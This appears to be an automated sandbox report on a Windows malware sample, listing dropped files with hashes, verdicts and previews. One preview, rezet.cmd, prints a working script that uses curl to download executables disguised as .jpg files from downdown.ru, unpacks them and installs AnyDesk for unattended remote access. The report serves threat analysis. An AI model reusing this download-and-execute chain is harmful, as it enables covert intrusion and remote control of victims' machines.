Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\locale\zh_TW\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 '\345\267\262\351\232\261\350\227\217\347\232\204\350\246\226\347\252\227'
Category:	dropped
Size (bytes):	27374
Entropy (8bit):	5.949578124832502
Encrypted:	false
SSDEEP:	768:nCjO4top/dSwwnvhafRtn481a11/FzwQdgUsTn:Cc/cwmhh8o11NzwQajr
MD5:	AAC7D05144F6E170F721193C657E5A68
SHA1:	1BB2EC3F5CAAD65C7195F25115FA5B7A5002017A
SHA-256:	53ECEF37900D2EF861E981F8D3627B833D1FACD4673915649EC5031238FF01CE
SHA-512:	5691E673C930A7AB945485882826DF930E8AC32FF3875DCC2CF7B491711198D1675380EA939ACCD36800C86616C94F3AF52884051993D12DF1C329EDF20ADF4A
Malicious:	false
Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\newsletter.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/newsletter.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.575813497443379
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3rWJAhYn:HRYFVm/r4bEJD
MD5:	DA4B9F72255126C0DBA81B307613197D
SHA1:	ED1D195ABFD809B37D34979D4298C68199A7FD87
SHA-256:	8A31785AD405D814CF4D25C95C5D29FFB4C3A33D2B9194C4F88C9AF67356EF78
SHA-512:	21825FFA2B6B1E31F4230D4D7BF585010187BE8D4ADE401357FFAC25D0D5A03281D74FFA17CFAE84279B1AC6369B43BC386E57260F73EB46E16F7EAD9141AE96
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/newsletter.html..

C:\Intel\Trays\order.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1635
Entropy (8bit):	4.559163323877702
Encrypted:	false
SSDEEP:	24:e7RkJbOck5g9Xnp5XgefOhqKjDk+5kdpdWbck:w0bOd0XjwefOhhkRfdNk
MD5:	9CEF843EC120E85CD9FE38A5AB12CD36
SHA1:	85FCBC458AA0AA6923F5D3280CED69AFC4BD099D
SHA-256:	B1F55C00EB7556ACF95715441A310B5B051C0DB73B5120388B2863AB27A271FD
SHA-512:	3BF7DFD05F30A102A8F7471134F26F4FAEECD17DE475CE71FA64EC89C8E8DF5E171261CDCC0FAB4B5EC1A084C116601013EA23A9E08BF555046244CAB7EED62D
Malicious:	false
Preview:	..4t Tray Minimizer Pro 6.07: How to order?..=============================================......(1) Pricing..===========.... A single license with 1-year of updates and support for full .. featured 4t Tray Minimizer Pro 6.07 is $19.95. .. Check latest price at .. http://www.4t-niagara.com/tray_order.html......(2) Full version benefits..=========================.... - All customization settings are stored.. - 1-year of free updates.. - 1-year of technical Support by e-mail.. - New version and updates notification by e-mail.. - Discounts for other products from 4t Niagara Software......(3) Order single license..========================.... The licensed product may be used by one and only one of the .. following ways:.... 1) Personally by a single person, who uses the software on .. one or more computers.... 2) Installed on a single workstation used nonsimultaneously .. by multiple people......(4) How to order..=======================

C:\Intel\Trays\order.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray_order.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.673203928779382
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEchXw5RJn:HRYFVm/r4bQchin
MD5:	7C86A88BA20294EFD1723D14CADC9431
SHA1:	A5A2E5F5283A462AB6234BDF1F8393B06FFCDF12
SHA-256:	E22AB4D66DC48DEEEE0142AED2FAB0E38E73D9B2D3AC275C025F3D05C082201E
SHA-512:	2FB71F3BF84F96635DEFC34CA86D13D805B6B70B815DEC3160E444CB32AC8D5D3790C676D391C4954E2412E7E6A1A431F6548372D099C9DB939CA73AE1BEFA1C
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray_order.html..

C:\Intel\Trays\product.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.614282214221932
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEcLDJn:HRYFVm/r4bQcPJ
MD5:	98FF41BD6C4DCFE5257FAFF4AA39E5E6
SHA1:	2F5EC6409EDA4DF5B025B6DF2F70B525160A83FE
SHA-256:	8CBFBB70978E889723BF228201E634F55289A7F50F7B9874895A08BE6CEA64ED
SHA-512:	7C18E2DAB463EEDF117EE9135DE2E7A186C2751F87122F55C0B5F18243064651AF40C146BBC28524FECB817D0881431C52A6FD65D3B233FA6C4F98ABA15EF550
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray.html..

C:\Intel\Trays\readme.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6436
Entropy (8bit):	4.99297727082377
Encrypted:	false
SSDEEP:	96:+aRuMaCRmK/5kMDV5fA0+1qAZ4DM3KrN5rK+0pSxfJ3GxRQ:buuRmKdDvx+1qYsMGXK+9fJ3GxG
MD5:	B265E96281ACD6A3EF5BDEF6C1642F1B
SHA1:	3BB6D53BE5EA3BAD90AFB43612AC83F58D2304AD
SHA-256:	E73559186F801BC9392554CCE951E481DEA9E652494FBA74EE4A7138A74C90DD
SHA-512:	9983E34B4F567D6B8A103BBD42E09AE0B0AF539B03F2CB8DFD929D4054B42A13C83D32E738DF1066C43DDDC422DB31DEF7D511CAE8C047249C993BC789F805C7
Malicious:	false
Preview:	..4t Tray Minimizer 6.07..===========================......CONTENTS..========....(1) DESCRIPTION..(2) MAIN FEATURES..(3) SYSTEM REQUIREMENTS..(4) SETUP.. Installing 4t Tray Minimizer.. Uninstalling 4t Tray Minimizer..(5) ORDERING FULL VERSION..(6) LICENCE INFORMATION..(7) THIRD-PARTY SOFTWARE..(8) MORE PRODUCTS.. 4t Calendar Reminder MP3.. 4t HIT Mail Privacy.. 4t Web Camera..(9) CONTACT INFORMATION........(1) DESCRIPTION..===============....4t Tray Minimizer lets you running applications minimized as ..System Tray icons, which helps in adjusting free space ..on your taskbar. ....Free version of 4t Tray Minimizer stores the Favorites options ..only for the current session. Check the Comparison Chart between ..Free and Pro versions here:.. .. http:\\www.4t-niagara.com\tray_comparison.html......(2) MAIN FEATURES..=================....Please go to this link:.... http://www.4t-niagara.com/tray.html.. ....(3) SYSTEM REQUIREMENTS..======================

C:\Intel\Trays\unins000.dat

Download File

Process:	C:\Intel\driver.exe
File Type:	InnoSetup Log 4t Tray Minimizer, version 0x418, 21084 bytes, VIVOBOOK\\USER\376\, C:\Intel\Trays\376\377\377\007
Category:	dropped
Size (bytes):	21084
Entropy (8bit):	3.9125638161274416
Encrypted:	false
SSDEEP:	192:JCXt8VdouvwpZoD24lhdgBrf1jH0FHRos:JCXyVdoupgBr9H0FHes
MD5:	8B7C19436A7674B89E2BC8BF1BC628AC
SHA1:	3EBF6316D997C0894B6B5C36A4BE229354C92821
SHA-256:	FFC630E3572536E14DAA4A43DA06A38F8C6C70373F700D734CD3FB84E4700504
SHA-512:	5E1F19C2C30D284EF129369A914648EA32819D9686CD411DBB3078604368E8314CBC762DC50CD71CB3A374C3A0C01BECCE88C3BEF82EF8A37B201289B001735C
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................4t Tray Minimizer...............................................................................................................4t Tray Minimizer.......................................................................................................................\R..%...............................................................................................................<0.3........4.U.......Y........V.I.V.O.B.O.O.K......U.S.E.R......C.:.\.I.n.t.e.l.\.T.r.a.y.s..................:.... .....j....r...IFPS....................................................................................................................................................................BOOLEAN..........{...........!MAIN....-1.\|...........INITIALIZESETUP....27..REGISTERWINDOWMESSAGE........FINDWINDOWBYCLASSNAME........SENDMESSAGE...........SLEEP........SENDBROADCASTMESSAGE..........ISWIN64...............................`.........rwmQUIT_APP

C:\Intel\Trays\unins000.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1203807
Entropy (8bit):	6.40760510131349
Encrypted:	false
SSDEEP:	24576:JtdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt5lTxyt6:3qTytRFk6ek1L9
MD5:	F713851CFCA66E37F80C8AA949B1B5AA
SHA1:	BC64DBDEDE8B4AB043A17BF0A1C8C6278E715B7E
SHA-256:	A57CFD11D66E89572224F2648D1CB2FE71030E572B9CD2CAA08074A992841A91
SHA-512:	406D168AEF0251A7F18FC2F94EE92EFFBC690B9D9B99D00296061E964C4880B6CCFBB6D7936FEEB75944D8FEE1973BABC55EC6E683D409249E2A81F7BCE6C06E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@.......................................@......@..............................@8...0....................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc........0.......l..............@..@....................................@..@........................................................................................................................................

C:\Intel\Trays\wishlist.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray_next.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.665701415423743
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEcg6NuJyn:HRYFVm/r4bQc2Jy
MD5:	E99E79543800A08FEC9EA2D600120CAC
SHA1:	252A73626CBE72B7597ACD90311C55C331672A91
SHA-256:	90E0CFB4F27009D58BB61EFCDEA1F767DC0BB860C08820BB05071E720AFF59D6
SHA-512:	A1C60B2AA2667A7B869275224DAB7FAE4671A5B8ADE8114D69443CA1DC9D1CA15B2150D62548075F4241E3697F09B5B11877961CDFC2D22E7E541D68F77AD792
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray_next.html..

C:\Intel\blat.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	245760
Entropy (8bit):	5.8308335350962235
Encrypted:	false
SSDEEP:	6144:9MrfThXeQPSDOTvVNLSV3T5gV6K1TkGVKYzNJ9DPi:4fThXeZSDSV3T5gV6K1dNJB
MD5:	34C6DFA28C293B5F21A77F74D94DE16B
SHA1:	04F02B3A69AF2F6A2FE1FF05BFFA8DFE2E39FA96
SHA-256:	E613D07619B28F896B4ADF24D888CF52814FA2EB89F261F2E4715485954251B7
SHA-512:	6BEFDF06B2EEFF8EA1AD4EF82CEBDFDF5E50BE8886C297C16682A973CA14BB2430F34BDDFF6C307641B764DA743447278E5D2145E16B20B8EC6B6A6325C6C479
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\)..=G..=G..=G..=F..=G.."T..=G.q!I..=G.."M.q=G.."L..=G.J;A..=G.Rich.=G.........................PE..L...,v.b.................`...................p....@..........................................................................q..P....................................................................................p...............................text...:Y.......`.................. ..`.rdata.......p.......p..............@..@.data....[.......0..................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Intel\curl.exe

Download File

Process:	C:\Users\user\Desktop\Yv24LkKBY6.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1793024
Entropy (8bit):	6.741879818708683
Encrypted:	false
SSDEEP:	24576:goyH7YomxViffSzoGX0HHdzj2YFvbKRAIM8SUnEtkUdHZZf6zCpSwxoqK9n5Ihq/:Bh76f1FxoQ0SOyFTbTxRPJm9YM
MD5:	9542F4AC0CAEFA766BD67BA879ED2DD4
SHA1:	EF93BF4C28FE70A90AE42E64A55900A6CB756EEC
SHA-256:	78DBE1FBBC7E5F51FA385BE08BB679251E46B43BE690FBC49C412D9D4F647A10
SHA-512:	26BE5184C394C5FEAB422D3AFBF83E469DFB19DA5F45B70642ACACE742A74DBB8E569A2FEE727D244C7CF220CB8D84DBFEDBA842D0C4F84927746228FDBF68D0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X......B...B...B.a~B...B..XB3..B..fB...B..YB...B.>rB...B...B...Ba.]Bz.B..bB...Ba.gB...BRich...B........PE..L...A..T.............................'............@.......................................@.................................d...x.......................................8............................w..@............................................text............................... ..`.rdata..H...........................@..@.data....$...........\|..............@....rsrc................`..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Intel\dc.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	831888
Entropy (8bit):	6.990827113590936
Encrypted:	false
SSDEEP:	12288:daWzgMg7v3qnCiIErQohh0F4nCJ8lnyhQaQDErWt5x:8aHMv6CErjDnyhQasMix
MD5:	139464919440E93E49C80CC890B90585
SHA1:	0237408CDB74AD6B8D340CDF0D03C1B1F820CE17
SHA-256:	CE3A6224DAE98FDAA712CFA6495CB72349F333133DBFB339C9E90699CBE4E8E4
SHA-512:	D6993D7568F6B39BF2BA0C0988EB30B9506DC05D50AEF693D22A64C34E0D5CD5BDB32A828B666C9C37F116DEBA63B10CE662B9E42AD1025A7B05EB0B32251A1C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i.i.i..9.k.`.:.w.`.,...`.+.P.N%.c.N%.H.i.d.`. ./.w.:.k.w.;.h.i.8.h.`.>.h.Richi.........................PE..L......K..........#..................c....... ....@..........................p......\| ........@.......@.....................<...T.................................................................................... ..@............................text............................... ..`.rdata..\.... ......................@..@.data............h..................@....rsrc................H..............@..@................................................................................................................................................................................................................................................................................................................................

C:\Intel\driver.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	300032
Entropy (8bit):	6.500047150408548
Encrypted:	false
SSDEEP:	6144:IrughCeBm7vbQlCwPakaBstCRvIX6kth2mbh7:IrlfQ7CsBkCRvI
MD5:	29086D9247FDF40452563C11B3DCA394
SHA1:	33B264F85CAA86FCD81E5FD75E654A9A1A4C26C8
SHA-256:	BB243113D236F823ABD1839025190E763FE34C40DA4949B77558995CC1A07625
SHA-512:	3DC8E3E61FB1F2D98F7482EAB464CB0C356F5616CC3D3BC74932E39F47D632A4DDC307222B6B219FAE36A0BCA04D0CB09C8DAFF00C15C22C5F1811DB479086AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L.....H.................0...................@....@.............................................. ......................g....................................................................p.......................................................text....0.......&.................. ..`.data.... ...@...F...,..............@....tls.........`.......r..............@....rdata.......p.......t..............@..P.idata...............v..............@..@.edata..............................@..@

C:\Intel\rezet.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	713
Entropy (8bit):	4.917892649368923
Encrypted:	false
SSDEEP:	12:FAKjySKLGhkJLsQhHQuJLXMzl+JLsRHJL1d6JLJzzXbif2HL179HCRC:FAKjBKLmkJLNJJLXMzl+JLsRHJLP6JLz
MD5:	1343C0537F621EC3D77D4A899BAE561D
SHA1:	9E64F779DBB174DABFFC731F289D1A7820047C67
SHA-256:	C353A708EDFD0F77A486AF66E407F7B78583394D7B5F994CD8D2E6E263D25968
SHA-512:	ACC2BF71D208DE4FCEF246686FAC025E688DBF8978C5931B083ABF3A594E0B36501E75C67A15E28A9835862755654FAA48310B92F1236473D0F355FE82FE74FB
Malicious:	true
Preview:	cd C:\Intel\..ping -n 6 127.0.0.1..C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg..C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg..C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg..C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg..C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg..C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg..C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y..start C:\Intel\Trays\Trays.lnk..svchost.exe --install C:\Intel\AnyDesk..C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg.. C:\Intel\AnyDesk\bat.lnk..

C:\Intel\svchost.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	5331456
Entropy (8bit):	7.99990183000247
Encrypted:	true
SSDEEP:	98304:K/9YNbhcFtvWK+XJURR51NX6hzzVwDmIoEWXF5fX+LWHF7uC+:KCNbhcF1WKW6whfOjGvAWHM
MD5:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
SHA1:	6AEDB74E3C6B886A2945323C8789B32891CA12A2
SHA-256:	7F813D6552F20F2E761807E94C34EDCFE91570A9D637C82C955AE52768367046
SHA-512:	8E009A0E4398EDBCDB7BEE17F37AE5885935E910348F0FC2FFE838BBFFB2B56BF6DE9BB7F34B08C04DD8ABB1C29C0313006697872D9EBF09950947B96758F16D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........h.}.;.}.;.}.;..";.}.;..#;.}.;...;.}.;...;.}.;Rich.}.;........................PE..L....X.f..........".........0Q..T%..........@....@...........................v......Q...@...................................................................v.......%..............................................................................text...w(......................... ..`.itext...T%..@...........................rdata........%.....................@..@.data....&Q...%..$Q..2..............@....reloc........v......VQ.............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AnyDesk\ad_svc.trace

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26080
Entropy (8bit):	4.416846251005514
Encrypted:	false
SSDEEP:	192:fI0El3Yh2W7ITiN4n5x/ElR/E7XyrOAy0KDishxNzHiABke4WzR3d:fIF62W7ITiN4n5xcIpmsnNzH9Bkm3d
MD5:	12332DF21456056C864DBB1A2004D50E
SHA1:	20F5261C7B9B5AA48D2B002609E128B10CF2E3BA
SHA-256:	8CC48F27041BFF1CA63CC7B7F1058BEB677F8CCABFDE62C6FEB6F2AFB0FE4458
SHA-512:	ADDB87F17AFC9432AC764E66FE7D43D8E2A71919F17B42648477763C9D06E574903FE778D363C1A125BBA89BF0025E21299943DABA162546B9EC98B2355491F0
Malicious:	false
Preview:	* * * * * * * * * * * * * * * * * .. info 2025-01-11 06:54:08.387 gsvc 2596 3244 main - AnyDesk Windows Startup .. info 2025-01-11 06:54:08.387 gsvc 2596 3244 main - Version 8.0.14 (release/win_8.0.14 13967ce7c71d8c19a49dd697dbd0dec1c8d166bf).. info 2025-01-11 06:54:08.387 gsvc 2596 3244 main - * Checksum 3b1bfbef334434f66640155f39e4c33b.. info 2025-01-11 06:54:08.387 gsvc 2596 3244 main - * Build 20240822172725.. info 2025-01-11 06:54:08.387 gsvc 2596 3244 main - * Copyright (C) 2024 AnyDesk Software GmbH *.. info 2025-01-11 06:54:08.387 gsvc 2596 3244 main - .. info 2025-01-11 06:54:08.387 gsvc 2596 3244 main - Command Line params: "C:\Intel\AnyDesk\AnyDesk.exe" --ser

C:\ProgramData\AnyDesk\cache\device-id.cache

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	data
Category:	dropped
Size (bytes):	312
Entropy (8bit):	7.12898682468492
Encrypted:	false
SSDEEP:	6:Ts8QPPZntJty0ceEnKgdK03zn22+8hnDaX6G4EKG0nYX:XQJdy0cdnKgdK4n2ChnDGr4EKGrX
MD5:	41E341E583F9A081B9BB30C65D4770F7
SHA1:	494528305B527603DBCEB30CAAA05FDAE6627D22
SHA-256:	6A82E3081BD24B6510C730EEF937997B504281C295217F2EB2009A7B645FF50D
SHA-512:	F1E3C91E4CFFD3F4F12EE73D7FACC7B5EC46C3CEC5636394C01B6C5C9C1E0520DE9413641DACB97DE8788991708BEFB3ECE57C75BD87AE52503881B6DAF377C3
Malicious:	false
Preview:	........+DID-V1-01945424-5992-7bdf-b342-d8ef8857b0a3......]..Y....E."..~.2t..$.......w)2k.\|..x..&H.]..j..$.X1..xr...IH..OY.4.5e.".\fj.i...[.s.......)..;K.w0Q..lt.s22.....PN.t.....{5.>...m.7Kg.N..w.6.\.@.......O.S.m...>......fw...m....Za.+X../......P.x.._..u~.>..m..OJ..}Zj..]Y......D2...(&2....e.+W.r

C:\ProgramData\AnyDesk\service.conf

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	ASCII text, with very long lines (1747)
Category:	dropped
Size (bytes):	3102
Entropy (8bit):	6.052450964232498
Encrypted:	false
SSDEEP:	48:uIST6Ribgc734PTJlNjbtmGcPZdsKxIqTFRPtzgk2cwyTjR+ETIyfA4IB1fEfUwH:uISTSifsP3NvGjDfvTxA8An5pf5vS
MD5:	FF92D48B8B22F04A0E63EA27AA064583
SHA1:	8E776A8E141BAB1A0F159EB77133F614E180D5CB
SHA-256:	737B89F699C101B21AC72037B40E1768F127B96180E68DA84FA8D53877D0CA3D
SHA-512:	A5FBECC0B28A163CECECA7029ED5F5A6778F9DBABC159F5FACC79C45D636C146AF34FECF869BE2985481A70C844FA5634BC650CEED39D0B487DEAC810C23F039
Malicious:	false
Preview:	ad.anynet.cert=-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjUwMTExMDY1NDA5WhgPMjA3NDEyMzAwNjU0MDlaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEAvZS0nKrjofS3qBYiEdDbAwEr0CD5ogOXMPl1jyZOgozDu8aQazvj3fasjZP/\nqUCf2PETw3sHtqZ64+R8KdnunJ6v5Ik0iy8q3papmXc8Up6ZdBjzhsjPGnhLezXo\nv9HN6Mg1NDNQe7GjCw8T1PkMARNyhlSbbw+m+w5MLOrYFRvPoEsf/tUgrO4c1Oa6\npu3lxJ1gL5IQ8A54lV605sjZ5/J8elU8qqqRq5jC1GP+duXN/VpECUoPJlf7FOFy\n6bKt1LXjDZJFDPDDSn07nTUe35f46Ruz7vRKxx72NDf7WRnKco+ZJc2vY6O7+eO6\nW304X7ri3Zb8qk3Tt1Y3sBuXmQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQCim5Yq\nwwRYK/8w2aeWqtWkcpiiBp85ckgLEkzXtvmtW8l0mREv/SEaqEIXtvNzww/7Vl0l\n6k7B1eF3vZ5CoRSrOTGcJINHvlyMtSfN5cMJXz2YLMmugXQVEUT4yyGkGulicoUY\nziewLRBrMXr65PNkfy5jkKuwU7rr4tep9VIW1r5UwxI3TrJmI8but8Lw2dkW5DBl\nZjl/+Cl4VQd+U57mD1PO6HQgd0cRXZSeC4UxbUbLxXbLpzpNlUYqQNRW1hsknqpB\nPWVzTAyPni4pNSzkx49NvH02rYhXz9Pd+EGefpEmKoAqYLUs3j/fjlcV1HIHUGO+\nAl5C6duavmdcE7dc\n-----END CERTI

C:\ProgramData\AnyDesk\system.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	4.821385179519206
Encrypted:	false
SSDEEP:	24:bwIK2iBs5sAwAzVp4LtBokn8hCit0kBHSAQ8:d6BIzVpV+2CCz
MD5:	580FA8EF6FA161815E69E2914418A041
SHA1:	CDAB6902887F2646BC8C6EF3900C23DD8938BD0B
SHA-256:	BF99C9B50842ED93C056FBEC5A24B38F1D2F6E883BFCD736685178D0A4A7FDA2
SHA-512:	4B4B57BD86E9903D6D36ECA8207E14BE88C764FB0EA688C683F5D3E6A4AD2B92A34788FA3E9618F72E3E985FAE960B7E753240078B464B5DF4201FB94F78FEE8
Malicious:	false
Preview:	ad.anynet.alias=.ad.anynet.client_stats_hash=306884cb11712e8039fdd3260842c1810ae277d9.ad.anynet.cur_version=34359803904.ad.anynet.did.hash=631723643.ad.anynet.fpr=d157688fbf05b56aaf757813a0c66ddef3ad57d0.ad.anynet.id=1061403999.ad.anynet.last_relay=relay-30ea2fb5.net.anydesk.com:80:443:6568.ad.anynet.network_id=main.ad.anynet.relay.fatal_result=1.0.ad.anynet.relay.state=2.ad.inst.id=4d843a8b11bc55a386a4bafec1512d4f.ad.license.expiry=0.ad.license.name=free-1.ad.security.frontend_clipboard=1.ad.security.frontend_clipboard_files=1.ad.security.frontend_clipboard_version=1.ad.security.permission_profiles._default.permissions.sas=1.ad.security.permission_profiles._unattended_access.permissions.sas=1.ad.security.permission_profiles._unattended_access.pwd=b0e594085fcdcdd0d970f1c041bce25cf1816bc6bc26463b6fa3daa82a5a0273.ad.security.permission_profiles._unattended_access.salt=b0c8d9209c9bb989a5cc09d7e983dc00.ad.security.permission_profiles.version=1.ad.security.update_channel=main.ad.security.up

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250111065345Z-170.bmp

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PC bitmap, Windows 3.x format, 154 x -190 x 32, cbSize 117094, bits offset 54
Category:	dropped
Size (bytes):	117094
Entropy (8bit):	1.8759596692099052
Encrypted:	false
SSDEEP:	768:Flmo89wE+GPsXbJGHV4635G+SFhhLywJLtmphVuL18MtIhCT8T8oZZv:8FPstWq6JdlZZv
MD5:	60D37149B4BA4852E6F7B2A1B7F61C11
SHA1:	0315A2CA20BCABDE2C037CA41F6DA1A7E15924DD
SHA-256:	C37512CD94D5F8582B98147803ABCF145FFD210484F242A2366BD2DD78BA7087
SHA-512:	E1A01A723B46AAE1D90589A9465440FE8393AC55D0E2107E1A1327EF2BA87B719BA333895BC9CE8FF08651F0DEBC22DAEE8A2204EA566FA87BBC1F96D52D61D8
Malicious:	false
Preview:	BMf.......6...(.......B..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035004, file counter 33, database pages 17, cookie 0x5, schema 4, UTF-8, version-valid-for 33
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	4.360843876877082
Encrypted:	false
SSDEEP:	384:eeEThwtEL38/GGN5ptmGQen3xx2ZszKhivC5vxwRv0ZsLRGV:hclGpBgZs/l0ZsLU
MD5:	EC260BE0B1D86E476B3F8725B9E7B5DC
SHA1:	4737C3080A91BC36F4B3952A2F09CA1F098C3CEE
SHA-256:	FB38C9341DA2372FE9E7C1BBF374ABB9F64D84E748039AC0E64D444C18F225FE
SHA-512:	0B1462A52C93DAFC71A3836F0CAF63973B492B3E1CBAF49005E38B35FB7C367D40AF8AE62396E3BAF4D77A1B6B1791693586AFAC537F033A488DB642FFA23A30
Malicious:	false
Preview:	SQLite format 3......@ ...!...................................................................!..O\|......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

